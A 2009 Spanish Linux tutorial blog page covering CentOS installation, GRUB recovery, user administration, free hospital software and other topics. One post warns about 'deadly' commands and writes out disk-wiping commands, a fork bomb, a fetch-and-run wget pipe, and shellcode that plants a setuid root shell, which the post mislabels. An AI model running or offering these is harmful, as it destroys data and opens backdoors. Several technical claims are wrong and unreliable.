INDICE

domingo, 18 de enero de 2009
Aprender Centos: INSTALACION DE CENTOS 5

Aprender Centos: ADMINISTRACION DE PROGRAMAS

Aprender Centos: COMPILACION DE UN KERNEL

*Informacion Adicional: CREACION DE UN ARCHIVO PDF CON OPENOFFICE

*Informacion Adicional: CURSO DE UBUNTU EN ESPAÑOL

*Informacion Adicional: THE LINUX KERNEL ARCHIVES

*Informacion Adicional: DISTRIBUCIONES

*Informacion Adicional: CABLEADO ESTRUCTURADO

Aprender Centos:MONTAR FORMATEAR Y PARTICIONAR DISCOS

Aprender Centos:FORMATEAR UN DISCO DURO

Aprender Centos:REDIRECCIONAMIENTO DE ENTRADA Y SALIDA

Aprende Centos:SHELL

Aprender Centos:ADMINISTRACION DE USUARIOS

*Informacion Adicional:SECRETOS DE ADSENSE

*Informacion Adicional:7 COMANDOS MORTALES PARA LINUX

*Informacion Adicional:LIMITAR EL ANCHO DE BANDA

*Informacion Adicional:LINUX EN EL SECTOR SALUD

*Informacion Adicional:LINUS TORVALDS INSULTA AL SECTOR DE SEGURIDAD TI

*Informacion Adicional:SOFTWARE LIBRE EN HOSPITALES

*Informacion Adicional:LiveCD de CentOS 5

*Informacion Adicional:CONSTRUCCION DE APLICACIONES

*Informacion Adicional:SISTEMAS DE ARCHIVOS

*Informacion Adicional:SOPORTE PARA BLU-RAY

*Informacion Adicional:COMPUTADORA MAS RAPIDA DEL MUNDO

*Informacion Adicional:RECUPERACION DEL GRUB

*Informacion Adicional:INSTALAR CENTOS-FEDORA DESDE UN USB


Estadisticas blog

INSTALAR CENTOS-FEDORA DESDE UN USB

Aquí explico cómo instalar la distribución Linux CentOS 5 en un pen drive (memoria USB) usando MS Windows. Esto permitirá crear un LiveUSB de CentOS el cual podrá ser ejecutado en cualquier PC que permita arrancar (boot) desde un puerto USB. O sea, un verdadero CentOS Portable.
Este LiveUSB funcionará igual que un LiveCD, con la diferencia que el arranque desde un LiveUSB generalmente es más rápido que desde un LiveCD (si se dispone de USB 2.0).
La característica de cofiguración permanente no es tomada en cuenta en este tutorial, por lo que los cambios que hagas en la configuración de CentOS durante el uso del LiveUSB se perderán con cada arranque o reinicio.

CentOS es una distribución Linux basada en RedHat Enterprise Linux y está orientada a empresas. Su uso es muy popular en servidores de web hosting por su extrema estabilidad.
Debido a que CentOS está basado en RHEL, podemos hacer uso del programa Fedora LiveUSB Creator para instalar CentOS en una memoria USB.

Prerequisitos para instalar CentOS a una memoria flash USB:

  • Un computador con Microsoft Windows instalado (probado en Windows XP).
  • Un pendrive o memoria USB de al menos 1GB.
  • Imagen ISO de CentOS 5.2.
  • El software Fedora LiveUSB Creator.
  • Cómo instalar CentOS en un pen drive

    1. Descarga la imagen ISO LiveCD de CentOS Linux 5.2. [tamaño aprox. 700MB]
    2. Descarga la versión más reciente del programa Fedora LiveUSB Creator (liveusb-creator-2.X.zip). [tamaño aprox. 8,8MB]
    3. Descomprime liveusb-creator-XX.zip en una carpeta del mismo nombre.
    4. Entra en la carpeta liveusb-creator-XX y ejecuta liveusb-creator.exe.
    5. En “Use existing LiveCD” debes buscar y seleccionar la ubicación en donde fue descargada la imagen ISO de CentOS LiveCD (CentOS-5.X-i386-LiveCD.iso).
    6. En “Target Device” debes seleccionar la leltra que corresponda al dispositivo Flash USB que será utilizado para instalar CentOS.
    7. Presiona en “Create Live USB” para iniciar el proceso de instalacioón de CentOS en el pendrive.
    8. Un barra de progreso mostrará el progreso de la instalación de CentOS en tu memoria USB. Una vez que el proceso haya finalizado, simplemente reinicia tu PC y recuerda tener habilitado en la BIOS la opción de arranque por USB (ver como entrar en la bios de varios fabricantes de computadoras).
Fuente:www.archivogeek.com

RECUPERACION DEL GRUB

Muchos de nosotros al iniciar con linux lo que hacemos es tener en una particion nuestro windows y en otra instalamos linux (cualquier distribucion) ; ahora si formateamos el windows y lo volvemos a instalar; por defecto sabemos que se carga el gestor de arranque del ultimo sistema instalado y en este caso desaparecera el grub.
bueno aca hay una de muchas salvaciones xD!! para poder rescatar su Linux :)

  1. Arrancar el PC con el CD de Rescate o el Primer CD de instalación. En caso de que la PC no cuente con una lectora, puedes generar un diskette o un USB para bootear.
  2. En la pantalla de boot le pones "linux rescue" para cargar el modo rescate
  3. Una vez que se carga el modo rescate, se intentará cargar automáticamente la partición en "/mnt/sysimage" (En caso de que no suceda esto, lo puedes hacer utilizando el siguiente comando "chroot /mnt/sysimage")
  4. En el SHELL introduces el siguiente comando "grub-install /dev/hda"

Nota: En algunos casos puede que te aparezca el siguiente error "/sbin/grub-install : Not Found" o algo así. En ese caso lo que debes hacer es:

"# grub" Esto cargará el shell del Grub ("grub >")
"grub > root (hd0,5)" Donde 5 es la partición donde bootea Linux
"grub > setup (hd0)"
"grub > quit" Para salir del shell del Grub
"# exit" Para salir del modo rescate y reiniciar la PC

Una vez que hayas hecho esto, tendrás nuevamente tu Grub.

COMPUTADORA MAS RAPIDA DEL MUNDO


El Departamento de Energía de los Estados Unidos seleccionó a IBM para construir una nueva supercomputadora capaz de realizar 1.000 billones de operaciones por segundo. Se alcanzará así lo que se conoce como petaflop, una capacidad de cálculo que se utilizará para gestionar el sistema de almacenamiento de armas nucleares.

La nueva computadora, llamada Roadrunner ("correcaminos"), deberá estar lista este año. Para su funcionamiento utilizará componentes disponibles en el mercado. Así, para impulsar la capacidad de proceso de la máquina se eligió una combinación de 16 mil unidades de chips Opteron, fabricados por AMD, y 16 mil procesadores Cell, creados por Sony y Toshiba para la consola de videojuegos PlayStation 3.

Además, Roadrunner utilizará el sistema operativo GNU/Linux (
la distribución elegida ha sido Red Hat Linux), e incorporará sistemas avanzados de refrigeración y alimentación que permitirán que el superordenador ocupe sólo un kilómetro cuadrado.

Actualmente, se considera que la computadora más rápida del mundo es otra máquina creada por IBM, BlueGene/L, que se encuentra también trabajando para el Departamento de Energía en el Laboratorio Nacional Lawrence Livermore y es capaz de realizar 280 billones de operaciones por segundo.

SOPORTE PARA BLU-RAY


Requisitos del sistema


General

  • Linux kernel 2.4 o superior (se recomienda 2.6) con X-Window
  • Glibc 2.3.2 y libstdc++ 6 3.4
  • GTK+ 2.4.10 (o superior)

Procesador y memoria instalada

  • Procesador Intel® Pentium® III a 800 MHz, procesadores AMD Sempron™ 2200+ o equivalentes, 128 MB de RAM

Espacio en disco duro

  • Espacio en disco duro: 50 MB para la instalación del programa

Unidad óptica

  • Unidad grabable o regrabable de CD, DVD, Blu-ray o HD DVD para grabación

Distribuciones admitidas*

  • Red Hat Enterprise Linux 4
  • SuSE Linux 10.0
  • Fedora 4
  • Debian GNU/Linux 3.1
  • Ubuntu 5.10
  • Linspire 6.0.x

Idiomas compatibles

  • Nero admite actualmente 26 idiomas

Grabadores compatibles

  • Todos los grabadores CD, DVD, Blu-Ray y HD DVD

Requisitos opcionales

  • Dispositivo de sonido y altavoces.

* Nero Linux 3 admite todas las versiones posteriores de las distribuciones compatibles anteriormente mencionadas

fuente:www.nero.com

SISTEMA DE ARCHIVOS DE LINUX

Este es el sistema de archivos de Linux:

* / Es el nivel más alto dentro de la jerarquía de directorios.

* /bin: Contiene los binarios, que son los ejecutables del sistema operativo.

* /boot: Aquí podemos encontrar todos aquellos archivos necesarios para que el sistema inicie.

* /dev: En esta carpeta se encuentran todos los archivos que nos permiten interactuar con los dispositivos hardware de nuestra PC. Por ejemplo los usb, sda (o hda) con la información de cada uno de ellos

* /etc: Aquí se guardan los ficheros de configuración de los programas instalados.

* /home: Contiene las carpetas por defecto de los usuarios, como "Documents and Settings"

* /lib: Contiene las librerías del sistema y los drivers.

* /lost+found: información que se guardó de manera incorrecta debido a algún fallo del sistema.

* /media: Ofreecen una estructura de directorios que pueden ser utilizados como punto de montaje para las Unidades Extraíbles. Por ejemplo, los dispositivos USB, disqueteras, unidades de CD/DVD.

* /mnt: Es un directorio que se suele usar para montajes temporales de unidades. Por ejemplo, Directorios compartidos dentro de una red, alguna partición de Windows, etc.

* /opt: Destinado para guardar paquetes adicionales de aplicaciones.

* /proc: Información para la virtualización del sistema de ficheros de Linux.

* /root: Es el /home del administrador. Es el único /home que no está incluido -por defecto- en el directorio anteriormente mencionado.

* /sbin: Son los ejecutables de administración, tales como mount, umount, shutdown?

* /srv: En este directorio residen las carpetas accesibles por el programa cliente de un determinado servicio ofrecido por algunos servidores configurados en el sistema. Por ejemplo Apache, ProFtpd, etc.

* /sys: Información sobre los dispositivos tal y como los ve el kernel Linux.

* /tmp: Es un directorio donde se almacenan ficheros temporales. Cada vez que se inicia el sistema este directorio se limpia.

* /usr: Es el directorio padre de otros subdirectorios de importancia:

* /var: Ficheros de sistema como el buffer de impresión.

CONSTRUCCION DE APLICACIONES

Una de las particularidades de los sistemas GNU/Linux es la instalación y puesta en marcha de aplicaciones a partir del código fuente de estas, mediante un proceso de compilación que si bien es particular para cada sistema, permite identificar una serie de pasos “base” para la construcción de la aplicación (favor de referirse a la documentación específica de dicha aplicación). Cabe mencionar que, para la instalación de programas mediante este método, es indispensable contar con las herramientas de desarrollo necesarias para la compilación de la aplicación.

Dependiendo de la distribución y versión con la cual contemos, lo mínimo requerido será un compilador (pej. gcc, gcc-c++), herramientas de autoconfiguración (automake, make, m4), depuradores (pej. bison) así como las librerías de desarrollo requeridas para la aplicación (pej. ncurses, gtk, gtk+, kdelibs, gtk#, etc)

El primer paso es el obtener el código fuente de la aplicación deseada, regularmente en un formato tar comprimido (denominado tarball). Este tarball regularmente contiene el código fuente de la aplicación, así como las instrucciones para su compilación e instalación además de otros objetos requeridos para el funcionamiento del sistema (imágenes, ficheros de configuración, definición de rutas, etc). Hay que descomprimir dicho tarball en el directorio de fuentes de aplicaciones (regularmente /usr/src) mediante el comando:


# tar xvfz paquete-version-release.tar.gz

Esto nos da como resultado una carpeta conteniendo toda la información requerida para la construcción del paquete. Una vez leida la documentación del sistema procedemos a cambiarnos al directorio recién creado, donde configuraremos los parámetros de compilación específicos para la aplicación, como puede ser la ruta de instalación, banderas de compilación (optimización), arquitectura, etc. Por ejemplo:

# cd paquete-version-release
# ./configure --with-package=/path/to/package \
--enable-widget \
--disable-gizmo \
--with-x=29 \
--with-blah-blah-blah
CFLAGS="-O1 -g -mcpu=i686 -L/usr/unlikely/lib \
-I/usr/unlikely/include -Wl,-R/usr/unlikely/lib"

Debemos estar atentos a los distintos mensajes que arroje el proceso, ya que este nos indicará algunos fallos o advertencias durante la configuración del paquete. Procedemos ahora a la construcción (compilación) del paquete mediante al comando:

# make

Este es en si el proceso de compilación. En este paso detectaremos paquetes faltantes requeridos (dependencias) para el uso de nuestro paquete. Nuevamente estaremos atentos a la salida del procedimiento, para detectar componentes faltantes o errores y advertencias originados. Si el procedimiento finaliza de manera correcta (sin errores y atendiendo las advertencias), procedemos a la instalación:


# make install

Nota: Si planea desinstalar esta aplicación, no elimine la carpeta en la cual compiló o construyó la misma, ya que esta carpeta contiene la información de instalación del paquete y solamente tendremos que recurrir al siguiente mandato para desinstalarla.

# make uninstall

Fuente: www.linuxparatodos.net

LiveCD de CentOS 5

Este CD está basado en nuestra distribución de CentOS-5 para i386

Puede ser usado como estación de trabajo, conteniendo los siguientes software:

OpenOffice.org 2.0.4
Firefox 1.5.0.10
Thunderbird 1.5.0.10
Gaim-2.0.0
Scribus-1.3.3
xchat-2.6.6
k3b-0.12.17
Gimp-2.2.13

Puede además ser utilizado como un CD de recuperación con las siguientes herramientas:

1. Herramientas de línea de comando para LVM y RAID
2. QTParted
3. Nmap y NMapFE
4. Traceroute gráfico
5. samba-3.0.23c con soporte cifs para el kernel
6. Visor de logs del sistema
7. Manejador de dispositivos de hardware por GUI.


El Live CD de CentOS 5 para i386 está basado en el proyecto de Live CD ADIOS:
http://os.cqu.edu.au/adios/adk.html


Este CD tiene directorio /usr en sólo lectura, lo cual significa que no es posible instalar software en él después de arrancar. El equipo de desarrollo de CentOS está trabajando fuertemente para crear un Live CD para CentOS 5 que sea basado en el proyecto de Live CD de Fedora (éste proyecto tiene la posibilidad de escribir en ciertos directorios para poder instalar paquetes). Desafortunadamente no pudimos tenerlo listo para este release. Esperamos tenerlo listo para el release de CentOS 5.1.

Esto significa que el propósito de este CD es verificar si CentOS puede trabajar y/o arrancar en su hardware, probar algunas de sus características como estación de trabajo y usarlo como un CD de recuperación. No contiene todas las características de los 7 CD de CentOS 5 en un sólo CD.

Queremos agradecer a Patrice Guay (http://www.nanotechnologies.qc.ca ) por la creación de éste CD.
Patrice creaba los live CDs de Tao Linux y ha donado su tiempo y esfuerzo para crear éste también.

Puede obtener el Live CD de CentOS 5 para i386 desde los mirrors aqui listados:

http://isoredirect.centos.org/centos/5/isos/i386/

Filename: CentOS-5.0-i386-LiveCD.iso
Size: 711890944
MD5Sum: 67894bd2530c0063baa01ac2e93435b0
SHA1Sum: befbc2bbb7409b84e33a3c19980e48d91f08901b

Release Notes aqui:
http://wiki.centos.org/Manuals/ReleaseNotes/CentOS5.0

notas del proveedor aqui::
http://www.centos.org/docs/5/html/release-notes/as-x86/index.html

Documentación de CentOS-5 aquí:
http://www.centos.org/docs/5/

SOFTWARE LIBRE EN HOSPITALES

A pedido de muchos doctores de clinicas y hospitales para la implementacion de un sistema de gestion, y como muchos sabemos el sector salud no cuenta con muchos recursos o simplemente se quieren ahorrar unas monedas, así que me puse a investigas las alternativas libres que existen para el sector salud

Se propuso montar un servidor GNU/Linux, ¿Por qué GNU/Linux? La respuesta es simple, porque como la mayoría sabemos es un sistema operativo libre, esto quiere decir que no vamos a tener que pagar la licencia, solamente el soporte y la implementación, además de que es un sistema operativo diseñado para servidores, muy robusto, prácticamente inmune a virus, actualmente es muy amigable para el usuario final, existe mucha documentación, etc, etc.

Lo primero que busque fue una distribución Linux que fuera desarrollada especialmente para el sector salud. Y encontré una distribución desarrollada por BioLinu.

SaluX es la distribución GNU/Linux oficial del Grupo BioLinux. Es una distro orientada al arrea salud, especialmente diseñada para correr en centros hospitalarios. Basada en Debian. Portadora de diferentes paquetes especialmente diseñados para instituciones de salud. ¿Por qué SaluX? Para disponer de una distribución con elementos base informáticos para hospitales. Para apostar a una paridad informática hospitalaria en Latinoamérica. Estimular las capacidades locales a través de un elemento informático abierto que pueda ser personalizable y escalable. Para fomentar el uso del SL en el arrea de la salud en Latinoamérica. Para mejorar la tecnología, conocimiento y coparticipación en factores de salud rural.

Esta distribución la podemos encontrar en: www.salux.org/

CD-Medic es una distribución basada en Knoppix con varios simuladores de imágenes medicas, visor DICOM y sistema de PACS.

* Programas de Imagen Médica Incluidos:
o Amide (Fusión de Imágenes)
o Aeskulap (Visor DICOM)
o Xmedcon (Convertidor de Formatos)
o AFNI (Análisis y visualización de fMRI)
o DICOM a Analyze/SPM autoconversor
* Programas de Oficina:
o OpenOffice 2.0 (Suite ofimática)
o Corrector Ortográfico Médico
o CUPS (Gestión de Impresión)
* Internet:
o Mozilla Firefox (Navegador)
o Thunderbird (Correo)
* Programas de Gráficos:
o Gimp (Retoque fotográfico)
o Imagemagick (Retoque fotográfico)
o XSane (Escaneado)
* Multimedia:
o VLC (Reproductor de Vídeo)
o Xmms (Reproductor de Sonido)


Esta distribución la podemos encontrar en:cdmedicpacsweb
GNU-Med en Knoppix: una nueva version de GNUMed ha sido inplantada en un CD de Knoppix. Esto permite probar a GNUMed sin necesidad de instalar GNU/Linux.

GNU-Med es un Software clinete-servidor, multiplataforma desarrollado en Python y conectado a una base de datos en PostgreSQL, Este software libre es para la gestión de hospitales, clínicas y consultorios.

www.gnumed.org También existe un proyecto desarrollado por debian llamado Debian-Med.

Debian-Med es un proyecto interno para desarrollar una «Distribución Debian a Medida» que se ajuste particularmente bien a las necesidades de la práctica y la investigación médica. El objetivo de Debian-Med es un sistema completo para todas las tareas llevadas a cabo en la medicina, construido completamente con software libre.

Si busca algo más en profundidad, hay una charla disponible (en inglés) que abarca casi todo lo que necesita saber.

La idea general de este tipo de proyecto la adoptamos del proyecto Debian-Junior. Debian-Med contiene un conjunto de metapaquetes que declaran dependencias de otros paquetes en Debian, y de esa manera se puede prepara un sistema completo para resolver determinadas tareas.

Debian-Med
Ahora vamos a ver las alternativas libres para dentistas.

Odontolinux es un software de gestión para un consultorio dental. Está escrito en PHP4. Usa PostgreSQL como base de datos.

Puede instalar este software en un servidor y acceder a él desde cualquier cliente siempre que esté conectado a la red del servidor y tenga un navegador web.

Odontolinux! incluye los datos del paciente, múltiples planes de tratamiento, libro contable, gestión de pagos, recibos y mucho más. El usuario puede escoger entre los idiomas inglés e italiano.

odontolinux/
Después de haber buscado lo que eran las distribuciones GNU/Linux desarrolladas especialmente para la salud, es decir para el sector salud. Busque herramientas opensource para la gestión de hospitales, clínicas y consultorios, lo que pude encontrar fue lo siguiente:

GNU Dental es conjunto de herramientas de gestión de prácticas dentales de fuente abierta que es un derivado de la, muy buena aplicación dental abierta, Dr. Jordan Sparks para la familia de sistemas operativos Windows de Microsoft.

www.gnudental.org

Care2x es un desarrollo informático para hospitales basado en Apache, PHP y MYSQL. Viene en Español entre otros idiomas. Posee módulos de admisión y registro de pacientes y profesionales, manejo de stock de farmacia, turnos y practicas de laboratorio y radiología, entre otros.

care2002

OpenClinic combina soluciones open source para proporcionar una plataforma de desarrollo abierta y gratuita, que incluye el potente lenguaje de script gratuito PHP, el estable servidor web Apache y MySQL, OpenClinic es capaz de funcionar en cualquier servidor web que soporte PHP3 o PHP4, sin ningún tipo de problemas o requerimiento especial, Trabaja bajo Linux (Recomendado), y Microsoft Windows.

Su interfaz de usuario es muy fácil de usar por el visitante, con un panel de administración simple y de ejecución rápida y sencilla y una sección de ayuda siempre a mano.

Características
Administra Archivos médicos, Paciente, Crea Informes, administra miembros, roles, etc.
OpenClinic

OpenVista. Versión abierta de Vista, sistema informático de los VA Hospitales de Estados Unidos.
http://medsphere.org

Worldvista es un sistema de gestión de hospitales, Actualmente esta el 70% de módulos en español.

Como se compone de varios módulos, se necesita integrar los módulos que más te satisfagan.

Puede manejar pequeños hospitales, hasta una red de hospitales.

Entre los módulos más sobresalientes son *Manejo de imágenes de radiología, cardiogramas, etc.
*Historial del paciente vía web.
*Manejo de Médicos residentes y externos
*Manejo de Cuartos, almacén de medicamentos y se puede integrar con el sistema de pedidos para materiales de laboratorio.
*Manejo de Urgencias, consultas externas.

www.worldvista.org

FreeMed Foundation. Sistema de EMR, que corre en Linux, sobre Apache y MySQL.

www.freemed.org
MediTux. Sistema de registro para terapias intensivas, desarrollado sobre Java (JDBC) y MySQL.
http://meditux.sourceforge.net/

Omega. Otro sistema de registro médico en base a MySQL.

http://home.clara.net/finch/
Este f ué un resumen sobre el software libre en los hospitales

Fuente:

http://www.biolinux.org.ar/
http://saludlibre.org/


Articulo Original de: Wikiaula

LINUS TORVALDS INSULTA AL SECTOR DE SEGURIDAD TI

El creador de Linux, Linus Torvalds, califica al sector de seguridad TI de “insoportables", y de “monos" a los desarrolladores de OpenBSD.

Diario Ti: Comentario de Linus Torvalds publicado en la lista Gmane ha llamado la atención en círculos especializados. Torvalds critica en duros términos a los "autodenominados expertos en seguridad informática", que dedican gran parte de su tiempo a encontrar errores y agujeros en software como un rápido atajo a la fama. El finlandés califica a todo el sector de seguridad informática de “circo" que glorifica tales conductas.


“Convierten en héroes a la gente de seguridad informática, como si quienes corrigen errores corrientes no fuesen igual de importantes", escribe Torvalds.

Su e-mail es una respuesta a las acusaciones de otros desarrolladores, en el sentido que Torvalds y otros desarrolladores de Linux disimulan los posibles problemas de seguridad en ese sistema operativo. Linux prefiere no calificar los errores de Linux como agujeros de seguridad. A su entender, las razones son sobradas.

“De hecho, todos los errores normales son muchos más importantes, ya que son más numerosos. No creo que haya que glorificar un agujero de seguridad espectacular, ni tratarlo como si fuera más ´especial´ que un error espectacular de otras características", escribe Torvalds.

Agrega que la seguridad es importante, pero no más importante que todo lo demás. Luego se refiere en duros términos a toda la industria de seguridad informática y en especial a los desarrolladores de OpenBSD.

“La gente del ámbito de la seguridad informática suelen ser el tipo de gente que ve todo en blanco y negro; son insoportables. Creo que los de OpenBSD son un grupo de monos viciosos para quienes nada es más importante que la seguridad".

Fuente: www.diarioti.com

LINUX EN EL SECTOR SALUD

Muchos abran escuchado de distribuciones Linux en el colegio, para las universidades, para edicion de videos, linux para los amantes de la musica, pero lo que no me habia encontrado era Linux para el sector salud, les paso un enlace donde pueden encontrar software para hospitales, farmacias, odontologos, etc, realmente este mundo del software libre me sorprende cada vez más.

http://medsphere.org/

http://www.gnudental.org/

http://salux.org/

http://saludlibre.org/


Fuente : http://luishuacho.blogspot.com

LIMITAR EL ANCHO DE BANDA

PROXY-NAT de Telefonica (freeware) para compartir el Internet por NAT.

Alax.info DHCP SERVER (versión de prueba de 30dias), que hace la función de servidor DHCP para que no halla que configurar nada en los equipos cliente, sino que sea cuestión de conectar al switch y listo.

Softperfect Bandwidth Manager 2.7 (versión de prueba de 30dias) para limitarle el ancho de banda a los demás usuarios de la red por QoS.

NetPeeker 3.10 (versión de prueba de 30dias) para limitar mi consumo de Internet, ya que yo soy el servidor y a este también hay que controlarle el ancho de banda.


Como recomendaciones adicionales les digo que si van a usar un Router en vez de un Switch para repartir el Internet entre más de un computador, tengan en cuenta lo siguiente:

- Si van a conectar la salida de Internet del equipo servidor a la entrada de Internet del Router, y los equipos clientes a las salidas del mismo, tengan en cuenta que desde el Softperfect Bandwidth Manager solo van a poder limitar el ancho de banda que le llega al Router, no van a poder limitar el ancho de banda de cada uno de los equipos conectados a el, ya que el equipo servidor solo puede ver la dirección IP del Router. La otra a tener en mente es que al conectar de esta forma el Router solo va ha dejar que pase el Internet, por lo que el servidor no podrá ver a los equipos conectados a las salidas del Router, ni ellos podrán ver al equipo servidor en Mis sitios de red.

- La mejor opción si van a usar el Router es que no usen el puerto de entrada de Internet del Router, sino que usen solo los puertos donde se conectan los ordenadores, antes de hacer esto es muy importante deshabilitar el servidor DHCP del Router (se hace en el firmware del Router, deben buscar algo parecido a disable DHCP server, si no lo deshabilitan se pueden crear conflictos con el servidor DHCP del equipo servidor y la red no funcionara correctamente) y asegurarse que la dirección IP del Router no sea la misma que la del equipo servidor (la dirección IP del Router es la misma por la que entramos al firmware de este por nuestro navegador web), si es la misma debemos cambiarla y lo podemos hacer mediante el firmware del Router (al hacer todo esto, al deshabilitar el servidor DHCP del Router y al asegurarse de que la dirección IP del mismo no sea la misma que la del equipo servidor, se puede decir que convertimos el router en un Switch). Después de hecho todo ello solo queda conectar la salida de Internet del equipo servidor a cualquiera de los puertos del router donde se conectan los PC y el resto de equipos de la red a los puertos restantes del Router excepto el puerto del router de entrada de Internet, conectando todo de esta forma cada computador conectado al router ya sea vía inalámbrica (en caso de que el router tenga esta opción) o por cable debe estar en capacidad de entrar a Internet y de ver a los demás equipos en Mis sitios de red, eso si el equipo servidor debe estar encendido para que los demás puedan entrar a Internet.


Fuente : http://www.picbuy.blogspot.com/

7 COMANDOS MORTALES PARA LINUX

Para todos los experimentados en linux como yooo.. se se que no lo soy :D es muy recomendable saber sobre estos comandos que son mortales para Linux.


Algunos de estos comandos mortales son:

1. rm -rf /

Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;


Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.

3. mkfs.ext3 /dev/sda

Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).

4. :(){:|:&};:

Conocido tambien como forkbomb, Este comando comenzara a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

5. cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.

6. wget http://alguna_url -O- | sh

Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el sitio no es confiable podria ser contenido malicioso.

7. mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).

Fuente:
http://www.junauza.com/2008/11/7-deadly-linux-commands.html

SECRETOS DE ADSENSE

Triplica tus Ganancias


Hay dos formas de pensar acerca de AdSense: puedes pensarlo como una manera deusar tu Sitio Web para ganar dinero, o puedes pensarlo como una manera de ganar dinero con tu Sitio Web¿Cuál es la diferencia?La diferencia es el contenido. En el primer caso, ya tienes listo un Sitio Web ysimplemente colocas AdSense en tus páginas y ganas dinero. Podrías modificar un poco el contenido e influir en los anuncios, y también podrías cerciorarte de que colocas las mejores palabras clave para ganar más dinero. Y también deberías jugar con la manera como presentas los anuncios para hacerlos más atractivos y no intrusivos – hay una inmensa gama de estrategias diferentes para lograr esto.Pero al fin y al cabo, el contenido ya está listo. AdSense es solo un camino para ganardinero a partir del contenido que crearás de todas maneras, y gracias a los Secretos de AdSense obtendrás la máxima cantidad de ingresos posible.No obstante, hay quienes quieren construir Sitios Web con el único propósito de beneficiarse todo lo posible mediante AdSense. Y no hay nada de malo en ello siempre y cuando el contenido que se ofrece sea de buena calidad.Eso es fundamental. Google no valora los Sitios Web repletos de palabras clave y todotipo de tonterías cuyo único objetivo es crear un espacio donde colocar bloques de anuncios de AdSense. Es muy probable que Google desapruebe un Sitio Web de esta clase, y aunque lo aprobara, las probabilidades de lograr un porcentaje grande de clics serían remotas.Esto no significa que tengas que desperdiciar la oportunidad de crear el tipo de SitiosWeb capaces de generar buen dinero con AdSense.

ADMINISTRACION DE USUARIOS

La administracion de un usuario de LINUX esta repartida en archivos.Estos archivos son del tipo plano es decir que puede ser visualizados y editables. Entonces observamos que Linux no administra en una base de datos o en formatos encriptados. La seguridad del acceso dependera de lo que el administrador permita.

*UBICACION

# cd /etc/passwd : Nos permite visualizar a todos los usuarios


# cd /etc/shadow : Nos permitevisualizar todas los password de los usuarios (encriptados)


# cd /etc/group : Nos permite visualizar todos los grupos existentes


NOTA=Al crear usuario o grupo se nos asignara una indentificacion unica y mayor igual a 500

*CREACION DE USUARIOS

1) Creamos un usuario con el comando useradd, luego tenemos que asignarle una contraseña al usuario creado con el comando passwd y nos pedira que repitamos la contraseña por razones de seguridad asi como en el grafico de arriba

NOTA:Cuando creamos a usuarios por defecto se creara un directorio en el home dond ela ruta es : cd /home

2)Cambio de usuario: Podemos cambiar el usuario con el comando su asi com en el grafico


1) De la misma manera como creamos a un usuario pero ahora con el comando groupadd y sin password osea podemos crear un grupo llamado universidad de la siguiente manera :
_groupadd universidad

2)Crear un usuario asociado a un grupo ya existente (en este caso el grupo universidad)
#useradd catolica -g universidad
#passwd peru

3) Cambiar a un usuario de grupo

#usermod -g colegio catolica : en este caso el usuario catolica estaba en el grupo universidad pero ahora esta en el grupo colegio


*DESHABILITAR A UN USUARIO

1) usermod -L unac :Este comando es para que el usuario unac ya no pueda entrar al sistema

*HABILITAR A UN USUARIO

1) usermod -U unac :Ahora el usuario unac podra volver a entrar al sistema

*ADMINISTRACION DEL PERIODO DE UN USUARIO

#chage -l pamelita :visualizaremos toda su informacion(cuando expira, cuando caduca, dias de aviso antes de que expire,etc) de su cuenta del usuario pamelita

#chage -m 5 -M 30-W 10 pamelita

donde:
-m: Es el numero de dias minimo de cambio de contraseña
-M:Son los dias que al usuario va a tener su cuenta activada
-W:Son los dias de aviso antes de que expire su contraseña

*ELIMINAR A UN USUARIO Y GRUPO

#userdel -r unac :Eliminamos al usuario unac
#groupdel -r universidad :Eliminamos al grupo universidad

SHELL

*Concepto : El entorno de comandos de linux, es un SHELL, por ese motivo al ejecutar diversos comandos (ls ,cp, cat, etc)responde. El leguaje SHELL permite realizar programas en modo texto, que facilita la administracion

*Ejemplos 1

hare un ejemplo sencillo

1)primero creamoa un directorio llamados scripts luego creamos y editamoa al mismo tiempo un archivo le pondremos programa1

#vi programa1 //Luego se nos abrira el archivo y comenzamos a tipear tal como esta

2) Ahora tenemos quer darle permiso de ejecucion aunque ese tema aun no no hemos visto pues bien se los adelanto

_le damos permiso de ejecucion (x) de la siguiente manera :chmod +x programa1

3)Finalmente lo ejecutamos de la siguiente manera ./programa1 y nos saldra una pantella como la que sigue :



*Para mas informacion sobre otros comandos :

http://wiki.gleducar.org.ar/w/index.php?title=DPD_Comandos_básicos&printable=yes

REDIRECCIONAMIENTO DE ENTRADA Y SALIDA

*Entrada y salida estandar:

Muchos comandos UNIX toman su entrada de algo conocido como entrada estándar y envían su
salida a la salida estándar (a menudo abreviado como "stdin o standar input" y "stdout o standar error"). Además existe una salida
especial para los mensajes de error de cada programa (stderr o standar output).
NOTA: El numero "0" indica la indentificacion stdin; el numero "1" indica la indentificacion stdout; El numero "2" indica la indentificacion stderr

El intérprete de comandos configura el sistema de forma que la entrada estándar es el teclado y la salida la pantalla.
Aplicaciones :
1)Creamos el directorio libros de la siguiente manera :# mkdir libros
2) cd libros : Esto es para entrar al directorio libros

3)como vemos al estar dentro del directorio libros escribimos el comando ls /var que significa que nos mostrara todos los directorios y archivos encontrador en el directorio var y no nos muestra error, pero cuando queremos entrar aun directorio que no existe nos muestra un error eso quiere decir que se redirecciona al STDERR y por defecto no muestra ese tipo de error (No existe el fichero o directorio)


*ENTRADA ARCHIVO


1) Creamos un archivo "lapiz"
#cd /libros
# echo "hola " > lapiz
#cat lapiz

